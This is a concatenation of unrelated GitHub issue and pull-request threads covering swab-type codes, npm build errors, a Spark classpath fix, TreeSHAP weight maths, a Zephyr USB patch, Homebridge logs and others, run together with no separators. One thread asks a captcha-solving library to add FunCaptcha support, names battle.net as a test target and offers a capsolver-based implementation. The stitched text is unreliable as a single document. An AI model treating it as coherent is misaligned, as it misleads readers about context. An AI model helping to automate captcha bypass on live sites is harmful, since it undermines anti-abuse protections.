See CDCgov/prime-central#106 to see updates about Swab Type

Per the email from Riki at APHL, 445297001^Swab of internal nose^SC is the best default when we don't have a real answer.
In general seems like Specimen Source Site is the code next to the swab type. I can break this into a separate column in my spreadsheet if that's hellpful.
Everything you ever wanted to know about swabs: https://www.cdc.gov/flu/pdf/professionals/flu-specimen-collection-poster.pdf

Initial Swab Type -> Device mapping. Most devices only have one swab type, but a couple have multiple options.
Waived Tests Mapping LIVD 12-16.xlsx

Duplicate of #384

Duplicate of #384


funcaptcha support?

hey man, i think one of the most used captchas around is funcaptcha :D
are u planning to integrate funaptcha anytime soon ? i'd love to integrate captchatools to my programs for funcaptcha captchas

It's been on my todo list for ages. Just haven't got around to adding it since I couldn't find a site with funcaptcha (besides the demo page).
Do you have a site that I can use to test?

https://account.battle.net

if u need data to help u i already coded it with capsolver. u can add me on discord baba#2222 and i can send it


Add rb.ax

To my esteemed colleagues,
Please consider my website for entry into your venerable and trim private club:
  url: https://rb.ax/
  size: 2.9 KB
  last_checked: 2023-12-02

https://yellowlab.tools/result/gr5j05m0t4

Welcome to the 250Kb Club! Your page will be https://250kb.club/rb-ax


NPM Install Issue

<EMAIL_ADDRESS>install /Users/nesiehr/Documents/node/color-wander/node_modules/canvas
node-gyp rebuild

Package cairo was not found in the pkg-config search path.
Perhaps you should add the directory containing cairo.pc' to the PKG_CONFIG_PATH environment variable No package 'cairo' found gyp: Call to './util/has_lib.sh freetype' returned exit status 0 while in binding.gyp. while trying to load binding.gyp gyp ERR! configure error  gyp ERR! stack Error: gyp` failed with exit code: 1
gyp ERR! stack     at ChildProcess.onCpExit (/usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/configure.js:305:16)
gyp ERR! stack     at emitTwo (events.js:87:13)
gyp ERR! stack     at ChildProcess.emit (events.js:172:7)
gyp ERR! stack     at Process.ChildProcess._handle.onexit (internal/child_process.js:200:12)
gyp ERR! System Darwin 15.4.0
gyp ERR! command "/usr/local/bin/node" "/usr/local/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js" "rebuild"
gyp ERR! cwd /Users/nesiehr/Documents/node/color-wander/node_modules/canvas
gyp ERR! node -v v4.4.2
gyp ERR! node-gyp -v v3.3.1
gyp ERR! not ok
npm ERR! Darwin 15.4.0
npm ERR! argv "/usr/local/bin/node" "/usr/local/bin/npm" "install"
npm ERR! node v4.4.2
npm ERR! npm  v3.8.6
npm ERR! code ELIFECYCLE
npm ERR<EMAIL_ADDRESS>install: node-gyp rebuild
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>install script 'node-gyp rebuild'.
npm ERR! Make sure you have the latest version of node.js and npm installed.
npm ERR! If you do, this is most likely a problem with the canvas package,
npm ERR! not with npm itself.
npm ERR! Tell the author that this fails on your system:
npm ERR!     node-gyp rebuild
npm ERR! You can get information on how to open an issue for this project with:
npm ERR!     npm bugs canvas
npm ERR! Or if that isn't available, you can get their info via:
npm ERR!     npm owner ls canvas
npm ERR! There is likely additional logging output above.
npm ERR! Please include the following file with any support request:
npm ERR!     /Users/nesiehr/Documents/node/color-wander/npm-debug.log

This is an issue with node-canvas – it is notoriously difficult to install since it has a variety of native dependencies. Check their readme and post an issue in that repo if you still have trouble. :smile:
https://github.com/Automattic/node-canvas


[1.14.3] Suggestion/request

Hi,
I am the author of the Gobber mod.   I have an item called the Ring of the Miner, that clears away vanilla stone and such, leaving ores exposed for mining.
I was wondering if you would consider tagging your Basalt, Slate, Marble, Gneiss with the Forge tag "STONE" so that I can easily identify them with if(Block.isRock()?
isRock checks: net.minecraftforge.common.Tags.Blocks.STONE.contains(blockIn);
If you can add the forge tags to those 4 blocks, it would make life a lot easier.
This would be a great help.
Thank you for considering.
Regards.

Hello, yes this is planned, I didn't assign the tags yet (except for the walls as it's mandatory for them to work). It will be done in the next version.

Thank you very much.   I enjoy playing you mod in my modpack.   This will make things work very nicely.
Regards

Version <IP_ADDRESS> adds the tags. It is available on Curse.

Thank you.  I will check it out.

I tested it out and it works beautifully.  Thank you.
One line of code:   Block.isRock(block) == true
Boom.


[SPARK-6491] Spark will put the current working dir to the CLASSPATH

When running "bin/computer-classpath.sh", the output will be:
:/spark/conf:/spark/assembly/target/scala-2.10/spark-assembly-1.3.0-hadoop2.5.0-cdh5.2.0.jar:/spark/lib_managed/jars/datanucleus-rdbms-3.2.9.jar:/spark/lib_managed/jars/datanucleus-api-jdo-3.2.6.jar:/spark/lib_managed/jars/datanucleus-core-3.2.10.jar
Java will add the current working dir to the CLASSPATH, if the first ":" exists, which is not expected by spark users.
For example, if I call spark-shell in the folder /root. And there exists a "core-site.xml" under /root/. Spark will use this file as HADOOP CONF file, even if I have already set HADOOP_CONF_DIR=/etc/hadoop/conf.

Can one of the admins verify this patch?

ok to test

Test build #29081 has started for   PR 5156 at commit 35c25d4.

This patch merges cleanly.

Test build #29081 has finished for   PR 5156 at commit 35c25d4.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/29081/
Test PASSed.

Test build #29092 has started for   PR 5156 at commit 3e859f9.

This patch merges cleanly.

@srowen I've pushed another commit and keep the original order of the classpath.
A help function "addClassPath()" is used to avoid code duplication.
I'm pleased to modify other codes to use "addClassPath", if you think it's ok.

Test build #29092 has finished for   PR 5156 at commit 3e859f9.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/29092/
Test PASSed.

I like this. @nchammas for bash thoughts.
@vanzin does the new launcher have any issue of this form? It replaces the file being changed.
There are many places in this file that could use the new function? might be more consistent. Maybe call it appendToClasspath to be clearer about where it adds.

Bash changes LGTM. :star:

The launcher lib in master shouldn't have this problem (see AbstractCommandBuilder::addToClassPath; classpath is treated as a list, not as a string.)

@srowen Please review.

Test build #29129 has started for   PR 5156 at commit 0656eeb.

This patch does not merge cleanly.

Test build #29136 has started for   PR 5156 at commit 5ae214f.

This patch merges cleanly.

Test build #29129 has finished for   PR 5156 at commit 0656eeb.

This patch passes all tests.
This patch does not merge cleanly.
This patch adds no public classes.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/29129/
Test PASSed.

Test build #29136 has finished for   PR 5156 at commit 5ae214f.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/29136/
Test PASSed.

I like this, especially how much it reduces duplication. Obviously this can go into 1.3 at the latest. If there's little or no conflict, I think it can be merged back to 1.2 too. Let me leave it a short while longer for comments.

Just to confirm my understanding: this makes it so that Spark no longer puts the current working dir on the classpath?  Or it changes Spark to now include the current working dir?

This takes the current working dir off of the classpath, since it appears to be there only accidentally, because weirdly "java -cp :foo.jar" (note the leading empty entry) does this.

@marsishandsome could you close this PR? since it wasn't opened vs master, the automatic process does not close it. It was merged into branch-1.3.


Multiple instances of PermissionService

Hi,
In my AppModule i have imported Ng2Permission, then i have defined the permissions of my app. Good so far.
In an other module (lazy loaded) i use the template directive's, so i have to import Ng2Permission in this module again. The issue is Angular creates a new instance of PermisionService for me. i want to configure the permissions once.
Could you see please (might be add forRoot method to be used in AppModule only)

Here is a fork with forRoot implemented
https://github.com/mastropinguino/ng2-permission


Understanding TreeShap Algorithm in recent paper

Hi,
I'm trying to understand the TreeSHAP algorithm in recent paper "From local explanations to global understanding with explainable AI for trees" (https://www.nature.com/articles/s42256-019-0138-9), this paper gives a bit more details than the original TreeSHAP paper.
However, when I checked the python version of TreeSHAP (the "pytree.py"), I found one place that is not consistent with the paper: in the extend_path function, the code has pweights[i + 1] += one_fraction * pweights[i] * (i + 1.) / (unique_depth + 1.),  however, the paper has the last term divided by unique_depth instead of unique_depth + 1. As I understand, the (i + 1.) part make sense because it's like inserting this potential new element into a set with i elements, so it's i+1 possibilities, but it should be divided by unique_depth because then M = unique_depth after adding this new element.
Appreciate if you could shed some lights on this, I've searched through the issues and articles but couldn't find any explanation.
Thanks!

run into the same situation!
        pweights[i + 1] += one_fraction * pweights[i] * (i + 1.) / (unique_depth + 1.)
        pweights[i] = zero_fraction * pweights[i] * (unique_depth - i) / (unique_depth + 1.)

These two-line are almost magical to me.
since weight |S| is simply  1/|M| * 1/{|M| choose |S|}, which doesn't depend on the exact feature, but only the length of the path, why are we using these two steps to update the weight, instead of a constant vector pre-calculated?
Since |M| equals the total amount of features which is a constant. e.g. if we have 20 features, we can generate all weight

also when calculating the path contribution to \phi_i, w should already take into account of zero_fraction, one_fraction, why are we using both w and zero_fraction, one_fraction?  and even if we are using one_fraction and zero_fraction, shouldn't it be
v* (1 - one_fraction - zero_fraction)* w ?
from the eq2.
\phi_i = \sum_{S \subset M\{i}} |S |!/ (M − |S | − 1)! M! * (f(S ∪ {i}) − f(S)).
if i were to interpreter the $w$ in code as |S |!/ (M − |S | − 1)! M!  and then v* (one_fraction - zero_fraction) should match (f(S ∪ {i}) − f(S)) ?
since f(S) equals one_fractionv + zero_fractionv_the_other_one, and f(S ∪ {i}) = v, wouldn't it be something like
(1-one_fraction) ?

Hey @yupbank, it's quite a while ago and I can't remember some details already, but the weight |S| is not just the length of the path, but should be the number of 1s selected along the path. The 2-steps essentially are iterative algorithm, to calculate a value similar to Poisson_binomial_distribution, see the recursive formula in the link. Also the calculation of phi_i does need zero_fraction and one_fraction, lets say for a certain path of two nodes x and y, you want to calculate a weight for |S| = 1, then you might have selected x and ignore y, which corresponds to one_fraction(x) * zero_fraction(y)

How is the fraction of subsets that run through the branch connects with the prediction difference with and without a given feature?

On 6 Dec 2020, at 04:51, zhanjiezhu<EMAIL_ADDRESS>wrote:

Hey @yupbank, it's quite a while ago and I can't remember some details already, but the weight |S| is not just the length of the path, but should be the number of 1s selected along the path. The 2-steps essentially are iterative algorithm, to calculate a value similar to Poisson_binomial_distribution, see the recursive formula in the link. Also the calculation of phi_i does need zero_fraction and one_fraction, lets say for a certain path of two nodes x and y, you want to calculate a weight for |S| = 1, then you might have selected x and ignore y, which corresponds to one_fraction(x) * zero_fraction(y)
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or unsubscribe.

see the beginning of section 3.1 in this TreeSHAP paper, the leaf values are averaged by the fractions to estimate E(f(x)|Xs)

Hello,
It's been a few days and I am still having a hard time understanding the treeSHAP algorithm, so I tried to test the algorithm on an example.
Let's assume that I have a Decision Tree fitted on data with 4 features (age, weight, height, bodyfat). The tree predicts the probability of an heart attack let's say, and has been trained on 100 samples. Denoting the number of samples that fell on a given node in parenthesis, here is the tree :

We want to explain the prediction of x = (age = 40 years, weight = 70 kg, height =180 cm, bodyfat = 20%).
I fully understood the algorithm 1 in the original paper, that details how to calculate $\mathbb{E}[f(z)\mid z_S]$ where $S$ denotes a subset of the 4 features, but I could not understand the core algorithm of treeSHAP :-(.
Using the example above, could someone help me by detailing how the algorithm would handle the $2^4 = 16$ subsets ?
Thank you!

Take a look at Linear treeSHAP, which provide much mathematical formulation of the problem.  using the above example, for understanding purpose, you can decompose the tree into 6 leaf/branch/rules, you can compute the feature contribution/weight/explanation independently for each rule and add them up (since Shapley value support it) in the end.
Once you can understand computing all feature shapely value for each rule, then it's easier to see some of the intermediate results can be shared across different rule, it's a tree after all.

I can't go in depth right now,  but check out: https://hughchen.github.io/its_blog/index.html

Thank you both for your quick replies!

I can't go in depth right now, but check out: https://hughchen.github.io/its_blog/index.html

This article clearly explains how to efficiently calculate $\phi_i(f, x^f, x^b)$ for a given background sample $x^b$, and concludes by saying that we can compute $\phi_i(f, x^f)$ by averaging across many $x^b$.
From my understanding, there are a lot of different ways to calculate SHAP values:

Standard algorithm that computes exact SHAP values inefficently in exponential complexity.
KernelSHAP algorithm that computes approximate SHAP values solving a weighted least squares problem, also in exponential complexity.
TreeSHAP, that uses $f_x(z) = \mathbb{E}[f(z)\mid z_S]$ to calculate exact SHAP values in quadratic complexity.
LinearTreeSHAP that uses some magical mathematical properties to calculate exact SHAP values in linear complexity.
Interventional SHAP (I am not sure of the term) that calculates approximate SHAP values in linear complexity by averaging using different background references.

In the article you mentionned, there is no information about the sampling weights of each branch. Using this weight, could one use the same approach as the one presented to calculate exact SHAP values?
PS: I did not know about Linear Tree SHAP before you mentionned it @yupbank and you were right: this is a lot more mathematical, which somehow helped me increase my understanding!

In fact, I don't understand why these calculations would lead to SHAP values at the end? Does someone know where I could find a proof of correctness of the TreeSHAP algorithm? Maybe it could help me?
Thank you!


boards stm32_min_dev: enable usb support

Added usb device related configs to dts and pinmux.
STM32F103C8 has on-chip fullspeed usb interface and the board connected
ralated pins to a mini usb port and xephyr supports it.
Sample cdc_acm and hid work out-of-box.
Signed-off-by: Stephen Yi<EMAIL_ADDRESS>

Codecov Report

Merging #11739 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master   #11739   +/-   ##
=======================================
  Coverage    48.2%    48.2%
=======================================
  Files         279      279
  Lines       43312    43312
  Branches    10372    10372
=======================================
  Hits        20878    20878
  Misses      18288    18288
  Partials     4146     4146

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 94b72e7...d5eb52c. Read the comment docs.

About documentation, I have some hesitation.
Generally speaking, this board is non official but quite popular because of its simplicity and availability.
This board had some variations but most of them were topologically equivalent. Unfortunately the prior developer had a little varied version, and I totally missed that when I was submitting the led pin device tree modification, sorry.
It seems that the prior developer had written the documentation mainly based on his or her hardware version and left some links to his or her blog.
I have no idea how to update this documentation other than rewrite it in a more general manner. In contrast, this piece of hardware is quite self-explanatory, maybe current version is kind of... enough?

@stepheny , about documentation, maybe you can just update the supported feature section?

Fixed by https://github.com/zephyrproject-rtos/zephyr/pull/15839


[FEA] Add Stain Normalization operator

Is your feature request related to a problem? Please describe.
We need to add Stain Normalization algorithm to a part of cuCIM's operation:
https://developer.nvidia.com/blog/accelerating-digital-pathology-pipelines-with-nvidia-clara-deploy
Describe the solution you'd like
Need to move the implementation to cuCIM's package: https://github.com/Project-MONAI/MONAI/pull/2666
Describe alternatives you've considered
N/A
Additional context
We also have C++ implementation.
Once Operator interface is available, we can provide the operation with C++ implementation.

Hi @gigony, is it going to be a CuPy implementation? If so, I can help with that.


No accessories displayed in HomeBridge or HomeKit

Hi there! I installed this plugin via Homebridge UI X without a hitch, and can verify that all of my Envoy devices and IQ7 Microinverters are discovered and show their status regularly in the Homebridge logs. I also manually added the Envoy device to my HomeKit instance per the instructions, but it always shows up as  "Not Supported", and no accessories are generated from it.
What additional data or logs can I provide to help see why this might happen? I know the credentials are good (both for envoy and installer), communications are working and the devices are discovered (HB logs confirm), etc.
Thanks so much!

Example log excerpt:
[04/08/2021, 15:27:16] [enphaseEnvoy] Device: 192.168.<redacted> Envoy, microinverter: <redacted> last power: 164 W [04/08/2021, 15:27:16] [enphaseEnvoy] Device: 192.168.<redacted> Envoy, microinverter: <redacted> max power: 251 W [04/08/2021, 15:27:16] [enphaseEnvoy] Device: 192.168.<redacted> Envoy, microinverter: <redacted> producing: Yes [04/08/2021, 15:27:16] [enphaseEnvoy] Device: 192.168.<redacted> Envoy, microinverter: <redacted> communicating: Yes [04/08/2021, 15:27:16] [enphaseEnvoy] Device: 192.168.<redacted> Envoy, microinverter: <redacted> provisioned: Yes [04/08/2021, 15:27:16] [enphaseEnvoy] Device: 192.168.<redacted> Envoy, microinverter: <redacted> operating: No [04/08/2021, 15:27:16] [enphaseEnvoy] Device: 192.168.<redacted> Envoy, microinverter: <redacted> comm. level: 0 [04/08/2021, 15:27:16] [enphaseEnvoy] Device: 192.168.<redacted> Envoy, microinverter: <redacted> status: Normal [04/08/2021, 15:27:16] [enphaseEnvoy] Device: 192.168.<redacted> Envoy, microinverter: <redacted> firmware: 520-00082-r01-v04.18.02 [04/08/2021, 15:27:16] [enphaseEnvoy] Device: 192.168.<redacted> Envoy, microinverter: <redacted> last report: 04/08/2021, 15:20:19
Screenshot of what shows up in HomeKit (no accessories show at all in Homebridge)

For best experiences please use Controller App or EVE app for iOS.
The Home.app doesn’t support custom characteristics.


Improve the accessibility of wellcomecollection.org

Link to feature: https://wellcomecollection.productboard.com/feature-board/planning/features/8471176